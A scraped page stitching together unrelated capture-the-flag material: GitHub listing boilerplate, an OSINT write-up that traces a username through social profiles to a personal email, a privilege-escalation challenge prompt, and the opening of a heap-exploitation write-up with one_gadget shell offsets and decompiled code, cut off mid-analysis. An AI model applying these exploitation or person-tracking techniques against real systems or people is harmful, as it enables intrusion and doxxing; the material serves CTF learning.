<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span>pwn<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span>pwn<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/GonTanaka/CTF-Writeups/tree-commit/43ab77611a7db8f4eae3fde0cc50c0e1e81cefde/Cyber_Apocalypse2022/pwn" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/GonTanaka/CTF-Writeups/file-list/main/Cyber_Apocalypse2022/pwn"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Bon-nie-appetit</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Hellbound</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Retribution</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Trick_or_Deal</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Vault-breaker</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>entrypoint</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>going_deeper</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
This was a really fun OSINT challenge that tasked us with finding someone based on nothing more than a username.
The challenge came with the following description...
"We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form ****[email protected]. Once you find it, send them an email to demand the flag!"
Username:mann5549
## First, let's check the username with Sherlock -->
Since all we have is to go off of is a username, we need to leverage it to hone in a bit on our target and maybe some way to pivot onto another clue. The fastest way to get some groundwork laid is to search the username across a large variety of social media sites.
Doing that manually could take a large amount of time so we are going to automate this process with sherlock. To start digging around, we head over to our terminal and use **python3 sherlock mann5549**
Sherlock is a script that takes the username we give it and it runs the name against 300 websites to determine if the username is found on any of the platforms it checked. After sherlock was done running the username it returns a small list of profiles with that username across a few various sites. This should narrow down our starting point significantly.
As this is a small list of links to go through, we can go ahead and check them out manually. We made our way through the list but stopped on the Twitter account as it caught our attention...
## Twitter profile -->
We go ahead and check out a few of them and then we land on the Twitter profile. Immediately upon opening the profile, we can see that this users bio mentions how they set their Twitter account to private because people are after them.
There are no tweets here but there is here is a link to the users website.
## Mann.codes website -->
Moving away from the Twitter profile, we head over to the website that was linked in the users Twitter profile. The homepage of the website doesn't contain much other than a message telling us that the target knows who we are and that we will never find him.
Before trying anything else, we inspect the website from our Firefox browser by right clicking on the page and selecting Inspect. Within the head tags we can see that there is some useful metadata here. We can see a link to a github repository.
## Pivoting to the Github repo -->
Following the link we found tucked away in the source code of the website, we end up on the Github repository owned by our target...
We can see that a couple of things have been deleted, again, due to our target knowing that they are being tracked down.
If we click on the description for the src folder we are taken to the page that shows us all of the commits made by our target. There are a total of 6 files here that have been changed. One of those is labeled gatsby-config.js:
If we expand this section to see further up the file, we find a summary that reads "Blogger and Coder for ACM at UC San Diego".
We decide to just keep it simple and put our amazing Google skills to work by searching for the phrase found in the target's deleted file. The first result in the Google SERPs matches our query and it leads to a LinkedIn account for an Emanuel Hunt.
## LinkedIn -->
In the "About" section of our target's LinkedIn page we are given a link to download his resume. We visit the link to look at his resume and notice that the email we need to retrieve has been replaced with asteriks.
## Got the credentials & the flag -->
Luckily for us, in the right-hand panel under the sharing section we can hover over our targets profile and it displays their email address.
So, we send them an email to demand the flag back
And they responded back with the flag in the body of the email.
 |
Author: @JohnHammond#6971
Ssshh, don't talk too loud! These conversations and gossip are only for us privileged users ;)
Escalate your privileges and retrieve the flag out of root's home directory.
There is intentionally no /root/flag.txt file present. |
# dreams_angstrom_22
## preamble
This is my first write-up but I had a really pleasant experience with this problem and felt like sharing. A group of University of Delaware CTFers get together every Wednesday afternoon and train together and this week there was a live CTF during our session with only about 3 hours left in it. So we jumped in and divvied up the PWN problems. This is the only problem in this Angstrom that I attempted this year and it was done under time pressure. Picked it because it had a nice solves to points ratio and I wanted a challenge.
----
# My PWN framework
When I tackle a PWN I have to answer three questions:
1) What is my __strategic goal__? (Win function? One Gadget? Shellcode? syscalls? Libc goodies?)2) How will I __control the instruction pointer__? (control the stack at a `ret`? Write-What-Where plus one of GOT overwrite, `__malloc_hook`, `__free_hook`, FSOP, or something else?)3) Do I need leaks to __conquer randomization__? (Need a Stack leak? glibc leak? Code segment leak? Heap leak?)
----
## The pre-reversing scouting
Step one, run `checksec` and what do we see?
```diff[*] '/ctf/work/vip/angstrom/raw/dreams'+ Arch: amd64-64-little+ RELRO: Full RELRO+ Stack: Canary found+ NX: NX enabled- PIE: No PIE (0x400000)```
OK so we're on alert for some sort of symbol that will add benefit. Let's poke through the symbols using `rabin2 -s dreams` and see what we see. I'll highlight the lines that stood out to me (and stripped the first lines that weren't as interesting):
```diffroot@vip:/ctf/work/vip/angstrom/raw# rabin2 -s dreams[Symbols]
nth paddr vaddr bind type size lib name―――――――――――――――――――――――――――――――――――――――――――――――――――――47 0x00003000 0x00404000 WEAK NOTYPE 0 data_start+ 48 ---------- 0x00404028 GLOBAL OBJ 8 dreams+ 50 0x000012f1 0x004012f1 GLOBAL FUNC 354 gosleep51 ---------- 0x00404014 GLOBAL NOTYPE 0 _edata+ 52 0x000012b6 0x004012b6 GLOBAL FUNC 59 menu53 0x000017e8 0x004017e8 GLOBAL FUNC 0 _fini61 0x00003000 0x00404000 GLOBAL NOTYPE 0 __data_start64 0x00003008 0x00404008 GLOBAL OBJ 0 __dso_handle65 0x00002000 0x00402000 GLOBAL OBJ 4 _IO_stdin_used66 0x00001770 0x00401770 GLOBAL FUNC 101 __libc_csu_init+ 68 0x00003010 0x00404010 GLOBAL OBJ 4 MAX_DREAMS69 ---------- 0x00404030 GLOBAL NOTYPE 0 _end70 0x00001200 0x00401200 GLOBAL FUNC 5 _dl_relocate_static_pie71 0x000011d0 0x004011d0 GLOBAL FUNC 47 _start73 ---------- 0x00404014 GLOBAL NOTYPE 0 __bss_start74 0x00001646 0x00401646 GLOBAL FUNC 291 main+ 75 0x00001453 0x00401453 GLOBAL FUNC 212 sell+ 76 0x00001527 0x00401527 GLOBAL FUNC 287 psychiatrist79 ---------- 0x00404018 GLOBAL OBJ 0 __TMC_END__80 0x00001000 0x00401000 GLOBAL FUNC 0 _init+ 1 0x00001100 0x00401100 GLOBAL FUNC 16 imp.free2 0x00001110 0x00401110 GLOBAL FUNC 16 imp.puts3 0x00001120 0x00401120 GLOBAL FUNC 16 imp.__stack_chk_fail4 0x00001130 0x00401130 GLOBAL FUNC 16 imp.setresgid5 0x00001140 0x00401140 GLOBAL FUNC 16 imp.setbuf6 0x00001150 0x00401150 GLOBAL FUNC 16 imp.printf7 0x00001160 0x00401160 GLOBAL FUNC 16 imp.strcspn8 0x00001170 0x00401170 GLOBAL FUNC 16 imp.read9 ---------- 0x00000000 GLOBAL FUNC 16 imp.__libc_start_main10 0x00001180 0x00401180 GLOBAL FUNC 16 imp.getchar11 ---------- 0x00000000 WEAK NOTYPE 16 imp.__gmon_start__+ 12 0x00001190 0x00401190 GLOBAL FUNC 16 imp.malloc13 0x000011a0 0x004011a0 GLOBAL FUNC 16 imp.getegid14 0x000011b0 0x004011b0 GLOBAL FUNC 16 imp.__isoc99_scanf15 0x000011c0 0x004011c0 GLOBAL FUNC 16 imp.exit```
OK so `malloc` and `free` from glibc along with a `menu`, this sounds like a heap problem. Also of note: **dreams, gosleep, sell, psychiatrist, MAX_DREAMS**
Absent from this list is any kind of a win function. So that's one less option for my __strategic goal__ question, next let's check for one gadgets.
```diffroot@vip:/ctf/work/vip/angstrom/raw# one_gadget libc.so.6+ 0xe3b2e execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
+ 0xe3b31 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
+ 0xe3b34 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL```
Awesome, these look reasonable, tentative __strategic goal__ penciled in.
Now, how are we going to __control the instruction pointer__? So the checksec ruled out GOT and stack control (probably) plus it's a heap problem so I'm guessing `__malloc_hook` or `__free_hook`. Let's do a quick check of the glibc version to make sure it's not 2.34 (where the malloc/free hooks are finally gone).
So to validate the version I turned to `https://libc.blukat.me/` using `rabin2 -s libc.so.6` to grab a couple offsets and actually realized I recognized the offset of `printf` already! I had given learners the task of finding this library just using `cc0` before. It is the same glibc 2.31 from my Ubuntu 20.04 running `pwndocker`. Small world.
Anyhow, it's 2.31 and that means `__free_hook` and `__malloc_hook` are good candidates.
We're going to need a _write-what-where_ somehow to pull that off of course.
The last strategic question was how we're going to __conquer randomization__? We'll need a little more scouting to solve those last two, the write-what-where and making leaks.
## Reversing the binary
Alright we need leaks and a write-what-where. When reversing a typical malloc menu I want to see all of the frees, mallocs, and edits.
The menu has 3 options: `psychiatrist`, `gosleep`, and `sell`. Here's the Ghidra decompiled main:
```cvoid main(void)
{ long in_FS_OFFSET; int local_18; __gid_t local_14; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); local_14 = getegid(); setresgid(local_14,local_14,local_14); dreams = malloc((long)(MAX_DREAMS << 3)); puts("Welcome to the dream tracker."); puts( "Sleep is where the deepest desires and most pushed-aside feelings of humankind are brought out." ); puts("Confide a month of your time."); local_18 = 0; while( true ) { while( true ) { menu(); printf("> "); __isoc99_scanf(&DAT_00402104,&local_18); getchar(); if (local_18 != 3) break; psychiatrist(); } if (3 < local_18) break; if (local_18 == 1) { gosleep(); } else { if (local_18 != 2) break; sell(); } } puts("Invalid input!"); /* WARNING: Subroutine does not return */ exit(1);}```
OK so `dreams = malloc((long)(MAX_DREAMS << 3));` happens every time, both `MAX_DREAMS` and `dreams` are global variables. `MAX_DREAMS` is set to 5 and we know the address is `0x00404010`. So that means the opening malloc is for 40 bytes.
The first thing I did was fire up gdb (pwndbg) and check to see if the `MAX_DREAMS` segment was readable and writable, it was, so keep its malleability in mind.
Alright, also at this point I'm guessing `gosleep` will be a malloc, `sell` will be a free, and `psychiatrist` will be an edit or something.
Let's check it out, `gosleep`:
```cvoid gosleep(void)
{ size_t sVar1; long in_FS_OFFSET; int local_1c; char *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("3 doses of Ambien finally calms you down enough to sleep."); puts("Toss and turn all you want, your unconscious never loses its grip."); printf("In which page of your mind do you keep this dream? "); local_1c = 0; __isoc99_scanf(&DAT_00402104,&local_1c); getchar(); if (((local_1c < MAX_DREAMS) && (-1 < local_1c)) && (*(long *)(dreams + (long)local_1c * 8) == 0)) { local_18 = (char *)malloc(0x1c); printf("What\'s the date (mm/dd/yy))? "); read(0,local_18,8); sVar1 = strcspn(local_18,"\n"); local_18[sVar1] = '\0'; printf("On %s, what did you dream about? ",local_18); read(0,local_18 + 8,0x14); *(char **)((long)local_1c * 8 + dreams) = local_18; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } puts("Invalid index!"); /* WARNING: Subroutine does not return */ exit(1);}```
OK so a few notes here:
